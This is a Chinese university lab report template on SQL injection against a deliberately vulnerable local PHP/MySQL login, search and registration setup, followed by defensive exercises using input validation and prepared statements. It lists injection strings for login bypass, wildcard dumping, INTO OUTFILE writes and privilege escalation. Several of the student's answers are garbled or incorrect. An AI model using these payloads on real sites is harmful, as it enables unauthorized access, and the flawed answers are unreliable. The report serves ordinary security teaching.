信息安全实验4报告模板Word格式文档下载.docx

上传人:b****6 文档编号:16733133 上传时间:2022-11-25 格式:DOCX 页数:14 大小:212.39KB
下载 相关 举报
信息安全实验4报告模板Word格式文档下载.docx_第1页
第1页 / 共14页
信息安全实验4报告模板Word格式文档下载.docx_第2页
第2页 / 共14页
信息安全实验4报告模板Word格式文档下载.docx_第3页
第3页 / 共14页
信息安全实验4报告模板Word格式文档下载.docx_第4页
第4页 / 共14页
信息安全实验4报告模板Word格式文档下载.docx_第5页
第5页 / 共14页
点击查看更多>>
下载资源
资源描述

信息安全实验4报告模板Word格式文档下载.docx

《信息安全实验4报告模板Word格式文档下载.docx》由会员分享,可在线阅读,更多相关《信息安全实验4报告模板Word格式文档下载.docx(14页珍藏版)》请在冰豆网上搜索。

信息安全实验4报告模板Word格式文档下载.docx

(2)创建user数据库表

在控制台中输入mysql,进入mysql客户端控制台(mysql>

)。

①选择工作数据库test(缺少状态下,test数据库已被创建)。

usetest;

②创建user数据库表

CREATETABLEuser(useridint(11)NOTNULLAUTO_INCREMENT,usernamevarchar(20)NOTNULLDEFAULT"

"

passwordvarchar(20)NOTNULLDEFAULT"

PRIMARYKEY(userid))TYPE=MyISAMAUTO_INCREMENT=3;

③插入两条数据信息

INSERTINTOuserVALUES(1,"

angel"

"

mypass"

);

INSERTINTOuserVALUES(2,"

lblis"

yourpass"

④查看数据库表

select*fromuser;

2.编写PHP脚本查询user数据库表

编写access.php脚本,内容如下:

<

php

$servername="

localhost"

#定义变量MySQL服务器名称

$dbusername="

root"

;

#访问MySQL数据库的用户名称

$dbpassword="

#root用户密码,默认为空

$dbname="

test"

#工作数据库

$username=$_GET['

username'

];

#利用HTTP的GET方法,从URL中获取username参数值

$password=$_GET['

password'

#获取password参数值

##连接到MySQL服务器

$dbcnx=mysql_connect($servername,$dbusername,$dbpassword);

{

if(!

$dbcnx)

{

echo("

连接MySQL服务器失败"

.mysql_error());

exit();

}}

##选择工作数据库

if(!

mysql_select_db($dbname,$dbcnx))

echo("

激活$dbname数据库失败"

exit();

}

##SQL查询

$sql_select="

SELECT*FROMuserWHEREusername='

$username'

ANDpassword='

$password'

$result=mysql_query($sql_select,$dbcnx);

$userinfo=mysql_fetch_array($result);

if(empty($userinfo))

登录失败"

);

else

登录成功"

echo"

p>

SQL查询:

$sql_select<

>

从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。

单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:

本机IP/access.phpusername=angel&

password=mypass

Web页面会提示“登录成功”。

写出此时PHP脚本中具体的SQL查询语句:

SELECT*FROMuserWHEREusername=’angel’ANDpassword=’mypass’

3.实施SQL注入

(1)在URL地址栏中提交:

本机IP/access.phpusername=angel'

or1=1

注入是否成功?

否。

SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”

(2)在URL地址栏中提交:

or'

1=1

是。

SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”

通过分析SQL查询语句解释实验现象:

username=’angel’or1=1’是不合法的,username=’angel’or‘1=1’是合法的用户,名注入,且任何数或上1都为1,所以成功。

(3)在URL地址栏中提交:

%23

SELECT*FROMuserWHEREusername=’angel’#’ANDpassword=”

此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。

由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0x23。

(4)Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。

SQL查询语句:

SELECT*FROMuserWHEREusername=’angel’*’ANDpassword=”

URL:

’%2F%2A

(5)步骤

(2)通过向username注入逻辑or运算,在只需知晓用户名的情况下便可成功登录。

下面请设计单独向password注入逻辑运算(可多个),要求在只需知晓用户名的情况下实现登录:

SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”

’%20or%201=1

(6)下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。

提示:

通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。

SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”

’%20or%20’1=1

二.搜索引擎注入

值得注意的是,Internet上有许多的PHP程序搜索引擎是存在问题的,也就是提交特殊字符就可以显示所有记录,包括不符合条件的。

1.创建隶属test数据库的file表

(1)创建file数据库表

file数据库表结构如下:

CREATETABLEfile

fileidint(11)NOTNULLAUTO_INCREMENT,

titlevarchar(20)NOTNULLDEFAULT"

authorvarchar(20)NOTNULLDEFAULT"

summaryvarchar(1024)NOTNULLDEFAULT"

PRIMARYKEY(fileid)

TYPE=MyISAMAUTO_INCREMENT=3;

(2)插入四条数据信息

title

author

summary

honeypotpaper

honeypotandhoneynet

snortpaper

snortintrusiondetection

snortbasednetwork

ppi

anothersnortpaper

iptables+snort

noname

intelligenceids

2.编写HTML页面

通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。

HTML页面代码如下:

html>

body>

formaction="

search.php"

method="

post"

#指定处理表单请求的PHP脚本为search.php

tableborder="

0"

trbgcolor="

#cccaaa"

<

tdwidth="

300"

文档搜索引擎<

/td>

/tr>

/table>

tr>

td>

关键字:

tdalign="

left"

inputtype="

text"

name="

key"

size="

32"

maxlength="

tdbgcolor="

colspan="

2"

align="

submit"

value="

搜索"

/form>

/body>

/html>

HTML页面如图所示:

3.编写PHP脚本查询file数据库表

$key=$_POST['

key'

#从html表单中提取变量值

head>

title>

搜索结果<

/title>

/head>

h3>

/h3>

php>

echo"

搜索关键字:

$key<

文档搜索时间:

echodate("

H:

i,jSF<

搜索结果:

$tablename="

$result=mysql_connect($servername,$dbusername,$dbpassword);

$result){

echo("

连接mysql服务器失败"

empty($key)){

$sql_select="

SELECT*FROMfileWHEREtitleLIKE'

%$key%'

#模糊查询title中含有指定关键字的记录,其中%符号表示通配,这里前、后均通配

$result=mysql_db_query($dbname,$sql_select);

if(empty($result)){

echo"

error"

}

$total=mysql_num_rows($result);

if($total<

=0)

The$keywasnotfoundinalltherecord<

else{

while($file=mysql_fetch_array($result))

echo("

li>

.htmlspecialchars($file[title])."

摘要:

.htmlspecialchars($file[summary]));

else{

echo("

b>

请输入查询关键字.<

/b>

exit();

输入关键字“snort”,进行搜索,搜索结果中含有多少条记录?

3。

记录中是否包含与snort关键字无关的项无。

SELECT*FORMfileWHEREtitleLIKE‘%$snort%’”;

4.SQL注入

(1)利用PHP脚本没有对关键字变量进行检查的漏洞进入SQL注入。

输入关键字“%”,进行搜索,搜索结果中含有多少条记录?

4。

记录中是否包含与snort关键字无关的项2个分别为:

honeypotpater和iptables+snort。

SELECT*FORMfileWHEREtitleLIKE‘%$%%’”;

解释SQL查询语句含义:

搜索表,并对file表搜索关键字“%”的数据

(2)输入关键字“_’ORDERBYfileid#”

「说明」“_”字符表示单字符通配,n个“_”字符则表示n字符通配。

“ORDERBYfileid”表示按特定顺序进行SQL查询。

若fileid为整型字段,则按整数大小(由小到大)顺序进行查询;

若fileid为字符数组类型字段,则按字符ASCII码(由前到后)顺序进行查询。

SELECT*FORMfileWHEREtitleLIKE‘%$_’ORDERBYfileid#%’”;

搜索表,并对file表搜索关键字“_’ORDERBYfileid#’”的数据

三.注入实现导出文件

本实验步骤仅为说明由于SQL注入而给服务器系统带来一定程度上的危害。

在步骤一中,我们使用用户名,在无需知晓用户密码的情况下,通过SQL注入实现了登录。

作为进一步操作,我们可以通过SQL注入来向服务器硬盘中写入大量无用的文件,而这是利用了MySQL的“INTOOUTFILE”命令,其查询方法如下:

SELECT*FROMuserWHEREcondINTOOUTFILE'

/etc/temp.txt'

上述SQL查询语句会将user数据库表中,满足cond条件的记录以INTOOUTFILE标准格式导出到/etc/temp.txt文件中。

而信息能够被成功导出到/etc/temp.txt中的条件是目标目录有可写的权限和目标文件不存在。

基于步骤一,写出能够实现(SQL注入)上述功能的URL:

OUTFILE’/etc/temp.txt

SELECT*FROMuserWHEREusername=’angel’AND‘passname=mypass’OUTFILE’/etc/temp.txt’

四.通过注入提升用户权限

如果大家认为SQL注入仅仅适用于SELECT语句就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句。

(1)创建隶属test数据库的register表

切换至/opt/ExpNIC/HostSec-Lab/Projects/step4/目录,执行脚本

create_table_register创建register数据库表。

写出数据表包含的字段名称:

Userid、username、password、homepage、userlevel

(2)注册用户

将/opt/ExpNIC/HostSec-Lab/Projects/step4/目录中的register.htm和register.php文件拷贝至/var/www/html目录下。

在Web浏览器URL地址栏中访问register.htm页面。

填写“用户名”、“用户口令”和“个人主页”信息,单击“注册”按钮,进行注册。

注册用户级别(userlevel)3。

//截图,注册成功的图,图里面需要包含地址栏

(3)SQL注入提升注册用户权限

返回到register.htm页面,按如下方法填写“个人主页”信息。

'

'

1'

)#

单击“注册”按钮,用户注册级别1。

INSEERTINTOregisterVALUES(0,’zoutuoling’,’123456’,’’,’1’)#’,3)

【思考问题】

1.SQL注入漏洞产生的原因是什么?

练习二、防范SQL注入

了解防范SQL注入的方法

学会利用合法性校验防范SQL注入

学会利用preparedstatement执行SQL查询

【实验工具】

--

一.客户端进行合法性校验

进行实验之前首先启动MySQL服务,命令如下:

(1)单击工具栏“控制台”按钮,进入实验目录。

login是存在SQL注入漏洞的Web应用程序。

复制login.htm和login.php文件到/var/www/html/目录(Web服务文档主目录)。

(2)使用Web浏览器浏览login.htm,在URL地址栏中输入如下信息:

本机IP地址/login.htm

进入“注册会员登录”页面,用户名:

hello,密码:

hellopass,确定登录成功。

(3)注入攻击

返回login.htm登录界面,输入用户名:

hello'

1=1,密码任意,尝试登录。

由于login.htm没有对“用户名”、“密码”输入数据的合法性进行验证,从而导致了SQL被注入。

(4)编辑/var/www/html/login.htm文件,利用JavaScript对用户输入数据进行合法性验证,限制用户输入“'

”(单引号)、、“"

”(双引号)、“-”、“=”、“;

”、“>

”、“<

”、“/”、“%”特殊字符及SQL关键字。

(5)加入合法性校验后,尝试基于login.htm进行SQL注入攻击。

(6)加入合法性校验后,尝试基于URL进行SQL注入攻击。

二.服务器进行合法性校验

(1)复制并重命名实验目录login.htm和login.php文件至/var/www/html/login2.htm和login2.php。

(2)编辑/var/www/html/login2.php文件,利用PHP脚本对用户输入数据进行合法性验证,限制用户输入“'

”(单引号)、“"

(3)加入合法性校验后,尝试基于login.htm进行SQL注入攻击。

(4)加入合法性校验后,尝试基于URL进行SQL注入攻击。

三.预处理执行SQL查询

(1)复制并重命名实验目录login.htm和login.php文件至/var/www/html/login3.htm和login3.php。

(2)编辑/var/www/html/login3.php文件,重写PHP访问MySQL数据库部分,利用preparedstatement实现SQL查询。

(3)尝试进行各种SQL注入攻击。

实验心得

关于本实验我最大的感触是,在操作上有很大的困难,老师讲解后能够知道如何操作,但是整个实验,时间往往是浪费在操作过程上。

另外,这个实验虚拟机用的是linux系统,因此与windows系统不能直接移动文件,要通过虚拟机里的windows系统才能把文件移进去,这也运用了计算机的IP地址,IP地址在整个实验过程起到至关重要的作用,一旦IP地址出错就无法访问本机,也就导致无法执行相应操作。

实验评价

点评:

1、实验操作

2、报告内容

3、课后思考题

4、课堂表现

总评

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高中教育 > 语文

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1